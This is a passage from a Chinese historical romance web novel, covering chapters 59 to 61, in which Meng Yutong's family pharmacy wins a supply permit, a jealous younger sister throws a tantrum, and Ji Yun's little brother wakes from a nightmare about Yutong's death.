便是今日开口,也是因恰好拿出一罐石莲子,才顺势提及,存了几分借此契机为自家药铺牵线搭桥的私心。 第59章 第59章用心良苦。 江云裳放下茶盏,目光清明地看着孙女:“他查清水源污染一事后,便预见到未来几日城中医馆必将承受巨大压力,药材消耗恐难估量。而医官院平日固定的两家官药供应商,此时并非合约规定的供药期。 “他便与院使朱直大人商议,特事特办,允准从城中临时遴选一家资质过硬、药材储备充足的药商,先行补上缺口,以应对疫情。而你同他一起发现水源受污一事,在初期两位病患的诊治过程中出力不少。 “你本身又开设了申报官册的医馆,于公于私,举荐的立场都更为稳妥。我孟家药行的资质、背景、仓储能力,经得起最严格的查验。故而,这临时增补的药商名额,便落在了咱们头上。” 她语气平稳,将其中缘由一一道来:“这几日,他便是按流程,带着人对药铺中的药材进行了详尽的抽查核验。一切合格后,才拟定了这份批文,也是今日傍晚,才由医官院的吏员正式送达府上。” 孟玉桐心中一震。结合方才云舟无意间透露的信息,原来纪昀早在她今日开口之前,便已开始运作此事,暗中推动了这一切。而他竟从未在她面前透露过分毫。 “孙女今日恰好遇见他,曾提起过家中药材一事,他并未将这些内情告知于我。” 江云裳闻言,唇角轻扬,露出一抹似笑非笑、洞察世情的了然神色:“他那是深知你的性子。知你独立要强,不愿轻易受人恩惠,更不欲与纪家再有过多牵扯。 “若早早告知于你,只怕你心中抵触,反生负担。不如……就顺势而为,装作是在你亲口提出之后,他才依言相助,事成之后,再经由我之口,将这番曲折原委告知于你。” 老太太目光微凝,带着一丝不易察觉的审度,缓声道:“如此说来,此子心思之缜密深沉,处事之圆融妥帖,远非常人可及。倒真是……用心良苦。” 最后四个字,她说得意味深长。 两人正低声叙话间,门外廊下忽然传来一阵窸窸窣窣的细微响动,隐约可见一道人影透过窗纱鬼鬼祟祟地向内窥探。 吴嬷嬷神色一凛,立刻与座上的江云裳交换了一个眼神。江云裳蹙了下眉,微微颔首。吴嬷嬷会意,当即转身,快步向门外走去。 片刻后,吴嬷嬷领着一个身着浅粉绣折枝梅花裙的女子走了进来,正是孟玉柔。 “孙……孙女给祖母请安。”孟玉柔脸上带着几分显而易见的尴尬局促,声音也细若蚊蚋。 她哪里是正经来请安的?分明是听闻孟玉桐被唤来了松风院,心下按捺不住好奇与某种说不清道不明的嫉妒,才躲在门外偷听,不料被逮个正着。 屋内几人皆心知肚明,却也无人去戳穿她这蹩脚的伪装。 江云裳更是早已习惯了她这般上不得台面的行径,只觉得额角又开始隐隐作痛,语气便带上了几分嫌弃:“大晚上的不在自己院里安生待着,跑到我这里来瞎晃悠什么?” 孟玉柔顿感委屈万分,凭什么孟玉桐就能深夜在此与祖母叙话,她过来就成了“瞎晃悠”? 祖母的心,真是偏到胳肢窝去了! 她又想起近日临安城中传得沸沸扬扬的疫病,听说许多人因喝了脏水而腹泻不止,严重的更是转为伤寒,卧床不起。 她素来胆小惜命,自听闻此事,这几日便缩在府中,大门不出二门不迈,连外头来个送菜的老翁都让她心惊肉跳,生怕一个不慎将那要命的病气带进府里。 而孟玉桐……她不是在城外开那劳什子医馆吗?那医馆里定然收治了不少这样的脏病人!她日日与那些病痨鬼打交道,身上不知沾染了多少污秽病气,如今竟还敢往祖母跟前凑! 这般想着,那股子委屈与恐惧混合着积压的嫉妒,让她瞬间失去了理智,竟不管不顾地脱口而出:“祖母!孙女这是担心您啊!您年纪大了,最是经不得病!如今城中腹泻之症肆虐,大姐姐在外头开医馆,成日里接触的不都是那些腌臜病人?她身上若带了什么不干净的病气回来,传给我们是小,万一过了给您,这可如何是好?!” 江云裳闻言,额角青筋猛地跳了跳!这冤家,每回出现准没好事,专程来给她添堵的! 她当即厉声斥道:“平日里让你多读些书,明些事理,你总是躲懒耍滑!到了这等关头,便显露出你的愚昧无知来!蠢笨些倒也罢了x,偏还要嚷嚷得人尽皆知!你也知那疾病是因饮用污水所致,你自己不去碰那脏水,好生待在府中,谁能传给你?与你姐姐又有何干系?!” 这番话可谓说得极重。实在是江云裳近日也被这风声鹤唳的孙女烦得够呛,深知与她好言好语讲道理纯属对牛弹琴,非得用重话敲打,她或许才能消停片刻。 孟玉柔被这劈头盖脸一顿训斥弄得面红耳赤,无地自容。 她本就是个极好面子的人,又素来与孟玉桐别着苗头,事事都想压过一头,如今被祖母如此不留情面地当众斥责,尤其还是当着孟玉桐的面,她心中那点委屈瞬间膨胀成了滔天的怨愤! 她也顾不得什么大家闺秀的体统规矩了,竟猛地往地上一坐,扯开嗓子嚎啕大哭起来: “祖母!您怎能如此偏心?!我这也是关心您才多嘴一问!您心里从来就只有大姐姐!与纪家那样好的姻缘,您何曾为我想过一分?!大姐姐退婚也好,开医馆也罢,您都千好万好地纵着!我不过是过来给您请个安,多问了一句,您就这般作践我!同样都是您的孙女,您的心也太偏了!太偏了!!” 屋中三人何曾见过这等市井泼妇般的撒泼阵仗?一时竟都被惊得怔在原地,你瞧我一眼,我瞧你一眼,说不出话来。 孟玉柔见状哭得更凄惨了,直接扯着嗓子,嗷嗷嗷地哭喊,仿佛受了天大的冤屈,恨不得嚷得全府上下人尽皆知。 她心中早就有了泼天的怨气,从前是姨娘日日叮嘱叫她多讨老太太欢心,她才尽力维持着不表露出来。 今夜这一遭,她是一点都不想再忍了! 江云裳被这魔音贯耳吵得太阳穴突突直跳,捏着眉心,只觉得脑袋里嗡嗡作响,旧疾都快被勾起来了。 吴嬷嬷连忙上前欲搀扶她:“二小姐!您这是做什么!这成何体统!快些起来!” 孟玉柔却一把狠狠挥开吴嬷嬷的手,嚎啕声愈发响亮:“走开!不用你假好心!你们都是一样的!都一样瞧不起我!这府里除了我姨娘,根本没人心疼我!没人喜欢我!!” 她哭喊得声嘶力竭,涕泪横流,毫无形象可言。 吴嬷嬷也被这混不吝的架势弄得手足无措,她为难地看向座上面色铁青、疲惫不堪的老太太,又瞥了一眼地上滚得衣裙凌乱、状若疯妇的二小姐,只觉得一个头两个大。 最终,她将求助的目光投向了静坐一旁的孟玉桐,眼中满是无奈与恳切。 孟玉桐接收到吴嬷嬷的视线,心下明了。她轻轻叹了口气,声音温和平静:“祖母,既然如此,为免二妹妹忧心,也为府中安宁,孙女这几日便暂且搬去医馆居住吧。正好馆中收治了几位重症病人,我宿在馆内,也便于夜间照看。” 江云裳立刻皱眉反对:“胡闹!你一个未出阁的姑娘家,白日里抛头露面行医问诊已是逾矩,夜里再宿在那鱼龙混杂的医馆之中,若传扬出去,你的名声还要不要了? “休要理会她!便让她在这里哭!哭累了,自然知道没趣,自己就回去了!也是我往日疏于管教,竟纵得她如此不知礼数,撒泼放刁!” 孟玉柔一听祖母竟还护着孟玉桐,越发妒火中烧,哭嚎得更是厉害。 孟玉桐见状,再次温声劝道:“祖母,时辰已晚,由着她这般哭闹,您如何能安寝?于您玉体康泰有损。我带上桂嬷嬷和白芷一同过去,医馆中还有信得过的伙计帮忙照应。 “再者,照隅堂前身本就是客栈,设施齐全,我独自宿在客房院中,于情于理,都并无太大不妥。待城中疫情缓和,我再回来便是。” 吴嬷嬷也在旁帮腔:“老太太,大姑娘思虑得周全。这几日医馆事务繁巨,大姑娘日日城里城外奔波,确实辛苦又不便。不如就依大姑娘所言,暂且宿在馆中,既能专心诊治病患,也能让府里清静几日。等这阵忙乱过去,再回来好生歇息。” 江云裳被这一左一右劝说着,再看看地下那个油盐不进、只会嚎哭的孽障,只觉得心力交瘁。 那哭喊声尖利刺耳,再听下去,她只怕真要旧疾复发了。 她最终疲惫地挥了挥手,声音透着一股无力:“罢了罢了……就依你们吧。只是桐丫头,定要多带些人手,万事小心,夜间门户定要锁好……” 沉吟片刻,她转向吴嬷嬷,吩咐得更具体了些:“就按方才商量的办。你去帮着桐丫头收拾,常用的锦被绣枕、盥洗器具都带上,务必周全。让马房将府里那架青幔云纹顶的马车赶出来,那架车最大,叫陈管家亲自执鞭,护送她们过去。再……再从护院家丁里挑两个稳重可靠的跟着……” 孟玉桐忙婉拒道:“祖母,护卫就不必了。我那是医馆,实在安置不下这许多人。有陈管家相送,已是足够。” “……那便如此吧。”江云裳叹了口气,不再坚持,只是不放心地又加了一句,“若在馆中若是缺了什么短了什么,定要立刻派人回府来说,万万不可委屈了自己。” 她与祖母鲜少有这般祖慈孙孝的温情时刻,这一纸采购文书,的确让老太太心中卸下不少担子。 孟玉桐还是更喜欢这般会关心人,会说软话的老太太,她笑了笑,温顺应下:“孙女省得了,祖母放心。” 吴嬷嬷便跟着孟玉桐行礼退下,两人前往杏桃院收拾行装,预备返回照隅堂。 两人离去后,孟玉柔的哭声渐渐低弱下来。她一边仍抽抽噎噎地维持着哭泣的姿态,一边却忍不住扭过头,视线追随着孟玉桐离开的背影,眼神复杂难辨…… 就在这时,‘啪嗒’一声脆响!一只上好的白瓷茶盏不知从何处飞来,擦着她的额角飞过,堪堪砸在她身前的青砖地上,瞬间碎裂开来,瓷片四溅! 第60章 第60章把我的嫂嫂还给我!…… 孟玉柔被这突如其来的声响吓得浑身一僵,惊魂未定地回过头,一时间连哭都忘了,只睁着一双泪眼,愣愣地看向座首那道此刻显得无比冷硬威严的身影。 “祖……祖母……”她声音发颤。 江云裳可没好脸色,她面色沉沉,眼中寒意凛冽,似是忍了极大的怒意。 “你自小跟在你姨娘身边,由她亲自教养。这么多年,我未曾过多插手过问。这才任由她将你娇纵成今日这般模样,这其中亦有我疏于管教之责。” 她声音的沉沉,带着威压,“可我如今年纪大了,再没有那份心力去从头掰正你的性子。今日,我只告诫你一句:望你谨守本分,认清自己几斤几两。有多大碗,吃多少饭,莫要终日痴心妄想,去觊觎那些本就不属于你的东西!” 她目光如刀,紧紧锁住孟玉柔:“若再有下次——”她微微停顿,带来的威慑却远超厉声呵斥,“……我可就没有今日这般好说话了。” 孟玉柔惊得倒抽一口凉气。 她虽不如孟玉桐聪慧,但祖母此刻那几乎凝成实质的滔天怒意,她却是真真切切地感受到了。 她吓得瘫软在地,身子控制不住地细细发抖,声音细弱如蚊蚋,语无伦次:“祖母……我……我不敢了……我再也不敢了……” “好了,”江云裳厌倦地闭上眼,挥了挥手,“下去吧。日后若无要事,我这松风院,你也少来。免得你我相看两生厌,彼此都图个清静。” “是……是……祖母……”孟玉柔此刻一颗心还狂跳不止,尚且沉浸在方才那茶盏飞来、瓷片迸溅的惊悸之中。 她呆呆地应了一句,手忙脚乱地从地上爬起来,脸上泪痕狼藉也顾不上擦拭,提起裙摆便跌跌撞撞地奔出了房门。生怕慢了一步,又会引来那位喜怒无常的老太太的雷霆之怒。 孟玉柔走后,室内重归寂静。江云裳缓缓拿起案几上那份墨迹犹新的批文,又一次就着灯光,细细地看了起来。 自傍晚医官院吏员送来这份文书起,她已反反复复看了不下十数遍。上面的每一个字、每一项条款,她几乎都已能倒背如流。 可即便如此,此刻她仍是舍不得放下。 家中生意近年渐显颓势,飘摇不定,这份盖着医官院朱红大印的采购批文,于风雨飘摇的孟家而言,无疑是雪中送炭,更是绝处逢生的一线曙光! 也多亏了她掌家几十年,始终秉持着收购采买药材的“宁滥毋缺、有备无患”的准则x。无论药材贵贱,不论时下流行与否,她总习惯将各类药材储备得足足的。 正因如此,当机遇骤然降临之时,她孟家才能有足够的底气稳稳抓住,而不至于望洋兴叹。 桐丫头那日说得的确在理。 一桩系于他人之手、随时可能生变的姻亲关系,如同饮鸩止渴,绝非解决孟家困境的长久良策。 唯有自身立起来,凭借真本事,亲手筑起一座由孟家血脉夯实的、稳如磐石的靠山,方是正道。 “此山,根基在我,兴衰由我。” 如此,方能真正安心。 这丫头,小小年纪,如此透彻清醒,实在难得。 手中紧握着这份轻飘飘却又重逾千钧的文书,此刻,江云裳的心中感受到了多年来前所未有的踏实与安然。 不多时,吴嬷嬷轻步从外间进来,低声回禀:“老太太,已经吩咐陈管家套好车,将大姑娘平安送至照隅堂安顿下来了。” 江云裳微微颔首,整个人像是卸下了一副重担,向后靠进宽大的紫檀木椅背中,眉眼间是难得一见的舒缓与松弛。 “她虽一再推拒,但为了安全计,她宿在照隅堂的这段时日,你私下还是去寻几个身手好、嘴又严的可靠护卫,不必进馆,只在外围暗中看护着。若真有个什么万一,也好有个照应,不至于措手不及。” 吴嬷嬷心领神会,应道:“老奴明白,这就去安排。”她又轻声问道:“老夫人明日可还要照常去铺子里巡查?” 江云裳难得地露出一丝真切的笑意,她睁开眼,瞧着陪伴自己多年的老仆,眼中竟掠过几分罕见的孩子气的得意与轻松:“不去了。明日首要之事,便是将医官院核定采买的那些药材,保质保量地交割清楚。之后嘛……” 她顿了顿,语气愈发轻快,“这天儿眼见着就热起来了,等此事落定,咱们就去城外庄子上住几日,避避暑气,也让我这把老骨头好生松快松快。” 吴嬷嬷见她终于肯放松下来,心中也是开怀,笑着应和道:“老夫人早该如此了!什么都比不上您自个儿的身子骨要紧,这些年您把自己逼得太紧了,合该好生歇歇。” 夜阑人静,烛火轻摇。主仆二人又低声絮絮地说了会儿体己话,窗外,一轮清泠的明月高悬中天,无声地将水银般的辉光洒满庭院,雕花窗棂在地面投下疏落有致的影子。 清辉漫过重重屋脊,蜿蜒流过寂静的街道,最终聚于桃花街。 一辆青幔马车碾过桃花街上的青石板路,发出辘辘轻响,稳稳停在了已然熄灯闭户的照隅堂门前。 孟玉桐与白芷下了马车,陈管家忙着从车厢里搬卸行李包裹,几人一同进了照隅堂,开始着手收拾安顿。 照隅堂二层原有十间厢房,如今只住了五间,吴明祖孙俩与几个病患居于楼上。虽仍有空房,但终究男女混杂,多有不便。 于是几人便决定在一层拾掇出几间空屋来。 小院西北角,除了新砌的两间药房和煎药室外,原本还有几间闲置的杂房,里头基础的床榻、桌椅、柜橱倒也齐全,只是积了些灰尘。略一打扫归置,勉强也能住人。 众人点亮烛火,简单收拾起来。楼上吴明听见下头动静,也趿拉着鞋下来帮忙。 约莫半个时辰后,东北角毗邻的三间小屋便已窗明几净,焕然一新。 最西边那间,门脸朝向内院,位置更为僻静,不易被前堂往来人声打扰,便安排给孟玉桐居住。旁边紧挨着的两间,则分别给白芷和桂嬷嬷住。 诸事安排妥当,孟玉桐简单盥洗一番,便与众人道了晚安,回了那间小屋准备歇息。 这屋子不大,陈设也简单。一张榆木窄床,一张漆色斑驳的小方桌,一面厚重的杉木衣柜,便是全部家当。 家具虽都有些年头,却被几人擦拭得干净,散发着一股老木头特有的、沉静温润的清香。 孟玉桐点上一盏豆大的青瓷油灯,昏黄的光晕勉强照亮一隅。 朝南洞开一扇小轩窗,恰好能将院中那株老柿树蓁蓁的绿叶收入眼底。屋子虽小,却也收拾得温馨妥帖,在此暂居,倒也是个不错的所在。 孟玉桐躺在铺着新换被褥的床上,回想这一日:诊治了诸多病患,傍晚与几位大夫商讨重症药方,晚间又与纪昀一同查看了几位病人的情况,回府后遭遇孟玉柔那一场闹剧,紧接着又回来收拾屋子……当真是充实。 身子沉甸甸的,四肢泛着酸软,她闭上眼,本以为能即刻沉入梦乡。然而,不知怎的,越躺越是清醒,总有一两分清明的意识,不肯安分下来。 一时想起家中药材入选官药采购的意外之喜;一时又闪过在病人房中与纪昀不慎相撞,被他揽住肩头的那一瞬;转瞬又是他神色认真,追问“你我可是朋友”时那双深不见底的眸子;最后,竟莫名想起云舟路上说的那出《破镜误》…… 种种画面光怪陆离,交织盘旋。 她在这张不算宽敞的床上辗转反侧了两回,终究还是起身,重新点燃了那盏油灯。 从随身箱笼里取出那本靛蓝封皮的书册,坐到窗边小桌前,就着昏黄的灯火和窗外流入的月辉,细细翻阅起来…… 孟玉桐窗前静坐,心思渐渐沉定下来,将精力放在了眼前的书册之上。 案前灯影昏黄,幽静安宁。 窗外,一弯弦月悄然移上天幕正中,清泠辉光如流水泻地,温柔地笼罩着静谧的小院。那株老柿树的枝叶沐浴在月华之下,正在悄然吮吸着天地精华,默默生长。 月华流转,越过重重屋宇,投向纪府梧桐院。梧桐院内,窗前竹影婆娑,清辉透过雕花窗棂,漫入房内。 纪昀端坐在书案前,身姿清正挺拔,正提笔伏案,纸面之上墨迹淋漓,写的正是他今日在照隅堂与孟玉桐最终商定下的那张重症药方。 他写完一版,并未立刻搁笔,而是凝眸细审,指尖无意识地点着桌面,仍在反复推敲斟酌方中君臣佐使的搭配与剂量,寻求是否有可改进臻于至善之处。 云舟轻叩房门后入内,见他正垂眸沉思,便躬身立在门边,屏息静气,不敢出声打扰。他深知公子斟酌药方时最忌旁人惊扰,天大的事也得暂且压下。 不料,纪昀却意外地放下了笔,抬眸看他,目光清冽:“将人平安送到了?” 云舟忙点头:“回公子,亥时正便已平安送返孟府。” 他顿了顿,脸上露出一丝犹豫,欲言又止。 纪昀敏锐地捕捉到他神色的异常,眉头微蹙:“为何吞吞吐吐?有何事,但说无妨。” 云舟这才禀道:“您今日不是还吩咐小的,从府中调两名护卫,在照隅堂外围暗中看顾么?” 连日来腹泻病患激增,各家医馆皆超负荷运转,极易滋生事端,引发医患纠纷。他既领了核查三馆之责,于公于私,都需确保万无一失。 宋寅深与马春处皆是男丁,尚且好说,唯照隅堂多是女流,他思虑再三,还是命云舟遣了两名身手利落的护卫前去桃花街暗中巡视,以防不测。 如今听云舟提起此事,他不免疑心是照隅堂出了什么茬子。 “何事?”他语速不觉快了几分。 云舟这才回禀:“方才其中一名护卫回来通禀,说孟大夫回了孟府后不久,孟府的管家又驾着一辆大马车,将她并白芷、桂嬷嬷送回了照隅堂。车上卸下许多箱笼被褥并日常用具,瞧着倒像是要在医馆中小住一段时日的模样。” 纪昀面上依旧看不出什么波澜,只是袖口无意从药方上擦过,染上了墨迹。 他不动声色地轻轻捻了捻那墨渍,眸光深沉,缓缓道:“知道了。让他们继续盯着,非紧急勿要现身。若小院夜间有何不同寻常的动静,及时传信回来。” “是。”云舟应下,见他再无其他吩咐,便躬身退了出去。 屋门被轻轻合上,重归寂静。纪昀垂眸,目光重新落回案上那张墨迹未干的药方上,试图凝神继续斟酌。然而,目光扫过纸上熟悉的“炒白术”、“云茯苓”等字眼时,脑中却是一片空茫,心神竟难以再次凝聚。 她突然搬去照隅堂长住?是与孟老太太起了什么争执?还是府中另有变故? 以他对她的了解,她行事素来周全稳妥,绝非任性妄为之辈。此举背后,定有缘由。 这方子……眼下看来,似乎也已斟酌得差不多了。若后续诊疗x中有新的发现,再行修改也不迟。 他有些疲倦地抬手捏了捏眉心,索性将写好的药方仔细吹干墨迹,收入随身医箱的夹层之中。 医箱打开,第一层整齐摆放着他的针囊、洁净纱布、腕枕以及一些常用的急救丹药。指尖拨开一层薄薄的木片隔层,下方还有一小块隐秘的储物空间。 那里静静躺着的,是一方素净的粉色杭绸丝帕;两颗用透明油纸包裹着的松子糖,糖纸已有些发脆;还有一张被反复折叠、边缘却依旧平整挺括的宣纸,隐约可见墨笔勾勒的流畅线条,那是一张画像。 宣纸被仔细地摊在书案上,墨迹氤氲,说是画像,却也不尽然。 只因那雪白纸面上,唯有一双眼。 乌黑的瞳仁明丽如最上等的点漆,眼型流畅优美至极,眼尾天然地微微上挑,勾勒出几分惊心动魄的灵韵与难以言喻的风情。那双眸子仿佛具有生命般,穿透薄薄的纸背,静静地、深邃地凝睇着画外之人。 画纸上一处意外滴落的浓墨,恰巧晕染在眼角之下,反倒像是画中女子泫然欲泣时落下的一滴泪痕。 一派忧郁愁容之色,让人观之不禁心生恻隐。 纪昀静静凝视着画中那双独一无二的眸子,片刻后,他重新提起笔,蘸取了少许朱红色的墨彩,运笔在那虚幻眼眸的左眼下方,极轻极准地点了一下。 宛如一颗细微却醒目的朱砂痣。 霎时间,那整双眼便如同被注入了灵魂,活了过来。 聪敏而灵透,落落而疏朗,沉静时如深潭映月,顾盼间似有流光熠熠。 这双眼,虽与她的形貌像了七八分,可神韵到底不同。 最大的不同是……她不会用这样温柔的眼神看他。 真正的孟玉桐看向他时,那双漂亮的眸子里,总是带着或明或暗的疏离与莫名的敌意。 于他而言,这本是无关紧要的事。他一向不在意旁人如何看待自己。 可不知为何,他却忽然在这种无关紧要的事情上,生出些许莫名的执念。 今日,他鼓足勇气当面问出心中疑惑,她却依旧语焉不详,不愿告知真正缘由。 也罢。 左右是不要紧的事情。他不过是恰好想到了,便问了出来。其实,也并没有那么想知道。 至于这画像,也不过是觉得她行事实在有些古怪矛盾,引人探究,随手画之,并无什么别的深意。 他如是告诉自己。随后,他将那宣纸细细叠起,将其重新放回书匣底层原处。 他将视线投向窗外,月色流转,万籁俱寂。不知此刻,她在照隅堂中,是否已安然歇下? 今日医馆那般忙碌,她怕是累极了…… “小公子!小公子!您慢些跑!当心摔着!” 窗外忽然传来云舟焦急的呼喊声,夹杂着孩童撕心裂肺的哭嚎和一阵急促凌乱的脚步声,由远及近,猛地闯入他耳中。 “砰”的一声巨响,书房的门被一股蛮力猛地撞开。 纪明小小的身影出现在门口,小脸上涕泪纵横,发丝凌乱,中衣的带子都散开了。 他瞧见端坐在书案前的兄长,那双哭得红肿的眼睛里竟迸射出一种混杂着愤恨与埋怨的情绪。 未等纪昀细细分辨那情绪的由来,纪明已如同发了狂的小牛犊,猛地朝他扎了过来,一头扑倒在他脚边,死死抱住他的腰,竟不管不顾地撒泼打滚起来! “你是个大坏蛋!我讨厌你!我讨厌你!你把我的嫂嫂还给我!还给我!”《 》 60-70 第61章 第61章孟玉桐嫁给了他? 纪明一反常态,嘶哑地哭喊着,情绪完全失控,竟张口隔着衣料狠狠咬上了纪昀的腰侧。 这一口又急又狠,带着全然的愤怒与委屈,死死咬住竟毫不松口。 云舟吓得脸都白了,一时也顾不上去看纪昀的反应,慌忙上前用力抱住纪明,使尽了力气才将这孩子从纪昀身上扯开来。 纪明不再温顺乖巧,即便被云舟钳制住了手脚,却仍在空中胡乱踢打着,像只被激怒的幼兽,恶狠狠地瞪着纪昀,继续嘶吼:“我讨厌你!你为什么不管她!为什么不关心她!为什么把她一个人丢在那里!为什么!” 纪昀腰间的衣服已被咬破了一道口子,隐隐有淡淡的血丝从布料下渗出来。 云舟惊叫一声:“公子!您没事吧?!这……” “嫂嫂?”纪昀缓缓站起身,高大的身影在烛光下投下一道如山岳般的暗影。他只是微微俯身,那阴影便几乎将小小的纪明完全笼罩进去。他的声音听不出喜怒,却带着一种冰冷的探究,“纪明,你在胡说些什么?” 纪明死死咬着下唇,倔强地回瞪着他,黑白分明的眼睛里满是控诉,仿佛纪昀做了什么十恶不赦、不可饶恕的事情。 往日里,纪昀虽对他管教严格,但纪明小孩心性,心底对这个兄长仍是敬仰喜爱的。 他性子活泼机灵,即便偶尔撒娇耍赖,也从未有过如此激动狂躁、不分青红皂白就攻击人的时候。 “到底出了什么事?”纪昀将视线转向一旁死死抱住纪明的云舟,声音里已然带上了清晰的冷意。 云舟也是手足无措,一面尽力安抚着怀里仍在挣扎的小公子,一面急急向纪昀解释:“公子明鉴!小公子今日下学回来后还好好的,如常用膳、洗漱,早早就歇下了。方才……方才也不知是怎么了,像是被梦魇住了,在床上哭喊踢打。 “小的在一旁怎么叫都叫不醒,只模糊听见他嘴里一直喊着什么‘嫂嫂’、‘不要死’、‘别丢下他’之类的胡话……好不容易将他摇醒了,他竟像是不认识人似的,一把推开小的,鞋都没穿,就这么直直跑来找您了……” 说完这些,怀里的纪明似乎也哭喊得脱了力,挣扎的幅度小了许多,只剩下压抑的、断断续续的抽噎。 云舟稍稍松了口气,却仍不敢松开手,柔声安抚道:“小公子,是不是做噩梦了?梦里都是假的,当不得真,别怕,别怕啊……” “不是假的!”纪明猛地抬起头,用尽残余的力气大喊一声,声音嘶哑却带着一种异常的笃定和悲愤,“那不是梦!是真的!我看见了!我都看见了!” “不是假的?”纪昀的声音低沉,带着一种近乎冰封雪冻的冷意,“那你告诉我,你究竟梦见了什么?一字一句,说清楚。” “我……我梦见孟姐姐嫁给了你,成了我的嫂嫂!” 纪明抽噎着,眼泪扑簌簌地往下掉,话语因哭泣而断断续续,“她……她天天陪我玩,给我做好吃的点心,还教我认药材……我特别、特别喜欢她!可是……可是你不喜欢她!你对她一点儿都不好!她生病了,病得很重很难受,你却……你却去宫里赴宴,把她一个人丢在家里,不管她……她吐了好多好多血……然后、然后她就……她就死了!” 他说到最后,几乎是嚎啕大哭,情绪激动得上气不接下气,小小的身子剧烈颤抖,险些要背过气去。 纪昀示意云舟松开钳制,自己蹲下身,揽过纪明颤抖的小肩膀,力道适中地轻轻拍着他的背,试图安抚他的情绪,声音却依旧平稳得近乎冷酷:“好,你梦见这些。那你告诉我,你梦里的这些事,发生在什么时候?” “……是、是秋天的时候,”纪明抽抽噎噎地回忆,小脸上满是泪痕,“天气很冷,风吹过来,手脚都是冰凉的……” “秋天?”纪昀眉宇间掠过一丝极淡的无奈,他抬手指了指书案上放着的那把用于驱暑的蒲扇,又将目光落在纪明身上单薄的夏日寝衣上,“那你仔细看看,现在是什么时节?” 纪明猛地顿住哭声,依言茫然地左右看看,视线困惑地扫过云舟,又聚焦在纪昀脸上,那眼神陌生得仿佛第一次认识他们。 梦中四季流转,从繁夏到凛冬,又从凛冬到炎夏,最终定格在那个秋雨凄迷、寒风萧瑟的时节。而眼下……窗外蝉鸣依稀,屋内闷热,手边是蒲扇,身上是夏衣。 现在是盛夏,并非梦中那个冷雨敲窗的深秋。 眼前的兄长,虽与梦中那张冷硬的面容别无二致,但似乎……比梦中那个冷漠得令人心寒的兄长,要生动些许,也……温和些许? 他迟疑地伸出手,在自己脸颊上用力掐了一把。 “哎哟!好痛!”他吃痛地叫出声,捂住瞬间泛红的脸颊,又带x着哭腔喊道:“是痛的!是痛的!这不是梦!” 纪昀眼中闪过一丝清晰的无奈。 云舟在一旁看得着急,悄悄拉了拉纪明的衣袖,压低声音提醒:“小公子,现下不是梦,您方才躺在床上做的那个,才是梦啊!” 纪明闻言,倏然沉默了。他拧着小小的眉毛,陷入了一种极其认真的思索,似乎在努力厘清哪一段记忆才是虚幻。 “就算……就算那是梦吧!”他思索良久,似乎勉强接受了这个说法,但下一刻又猛地抬头,再次一把抱住纪昀的腰,耍起无赖:“我不管!我现在就要去见孟姐姐!我现在就要去!” 他这一扑,正好压到纪昀腰侧被咬伤的伤口。纪昀蹙紧眉头,下意识抬手想将他推开。 可今夜纪明不知怎么了,那股执拗劲儿前所未有,像是藤蔓般死死缠抱着他,就是不松手:“你带我去见她!我现在就要见她!不然我就不放手!” 云舟只觉得自己的太阳穴也跟着“突突”直跳。 小公子平日里是活泼爱闹,但绝非这般胡搅蛮缠、不分轻重之人,今夜这到底是怎么了?他百思不得其解,只得再次上前,费力地将纪明从纪昀身上“薅”下来,强行按在自己怀里。 纪昀深吸一口气,伸手揉了揉纪明柔软的发顶,试图用道理说服他,声音放得比平时更缓,也难得从他身上看见几分耐心,“她今日在医馆忙碌了一整日,诊治了无数病患,早已疲惫不堪。此刻定然是好不容易才歇下,我们怎能深夜前去打扰?” 他看着弟弟泪汪汪的眼睛,补充道:“你素日不是最喜欢她,更该为她着想,让她好生休息才是。” 纪昀的语气一如既往的平淡理智,仿佛永远站在道理的那一边,永远不会被世俗的情感所牵绊,永远清醒得……清醒得有些冷漠。 这副模样,又与梦中那个令他感到恐惧和愤怒的兄长重叠了起来。 纪明扁扁嘴,巨大的委屈瞬间涌上心头。小孩子不懂那些成年人的隐忍与周全,学不来克制与等待,他只知道此刻心中有一股强烈的不安和渴望。 他现在好想好想见孟姐姐,抓心挠肝地想。 可见兄长态度坚决,毫无转圜余地,他委屈极了,两行热泪无声地从那双漆黑的眸子中滑落,不闹了,却更显可怜。 云舟慌忙抬袖替他擦拭眼泪,连声哄道:“哎哟我的小祖宗,别哭了别哭了,公子……公子他会带你去的,对吧公子?” 他一边擦,一边偷偷向纪昀投去求救的目光,挤眉弄眼地使着眼色。 纪昀沉默片刻,终是妥协道:“明日。等我从医官院下值回来,便带你去。” 得了这句准话,纪明紧绷的情绪终于松懈下来。他安静地偎在云舟怀里,激烈的情绪和持久的哭闹早已耗光了他的力气,没过多久,便沉沉睡了过去,只是眼角还挂着未干的泪珠。 云舟小心翼翼地抱着熟睡的纪明,试探地问:“公子……那明日……” “明日你照常送他去学堂。”纪昀的声音恢复了一贯的冷静,“后两日,恰好是学堂放假的日子。” 云舟即刻会意,心中一喜:“公子的意思是,等小公子放假了,再带他去找孟大夫?” 纪昀却缓缓摇头,语气平淡无波:“等他明日从学堂回来后,便将他关在房中,好好反省两日。未经允许,不得踏出房门半步。” 云舟:“啊???” 云舟尚未完全反应过来,便见纪昀已抬手示意他离开。云舟抱着纪明,懵了一阵,几乎没反应过来自己是怎么被赶出来的。 抬头望着天幕中那一弯清冷的残月,云舟只觉心中无限惆怅,低头看看怀里睡得并不安稳的小公子,长长叹了口气,低声嘟囔:“这……这怎么连小孩也骗呐……” 书房内,纪昀缓步走回书案前。他抬手,在自己腰腹处被咬伤的位置轻轻按了按,一阵尖锐的刺痛让他忍不住皱眉。 这家伙下嘴倒是不管不顾,日日上学堂,却连尊卑有序、敬重兄长的人伦常理都忘了个干净。 合该让他好好闭门思过,反省几日。 只不过……他忆起纪明方才所言的梦,一股异样感悄然漫上心头。 孟玉桐嫁给了他?成了他的妻子? 不知怎的,他脑中莫名浮现出一道模糊的人影,是那日在照隅堂后院药房,孟玉桐久蹲起身,身形不稳,他扶了她一把时,脑子里忽然出现的片段。 那模糊的片段之中,的确有一对新人…… 他随即又摇摇头,只觉得自己的思绪有些太混乱了。 莫说两人婚约已退,早已桥归桥路归路。即便没有退婚一事,依他二人的性子,即便成婚,最多也不过是相敬如宾,他怎会做出“待她不好”、乃至“冷眼旁观其病重身亡”此等卑劣行径? 若说这梦境荒诞,纪明的反应更是引人深思,究竟是怎样逼真细致的梦境,才能让他深陷其中,久久无法自拔,乃至于分不清现实和虚幻,做出如此不合常理的举止来? 种种困惑萦绕心头,盘旋不去,不得解法。 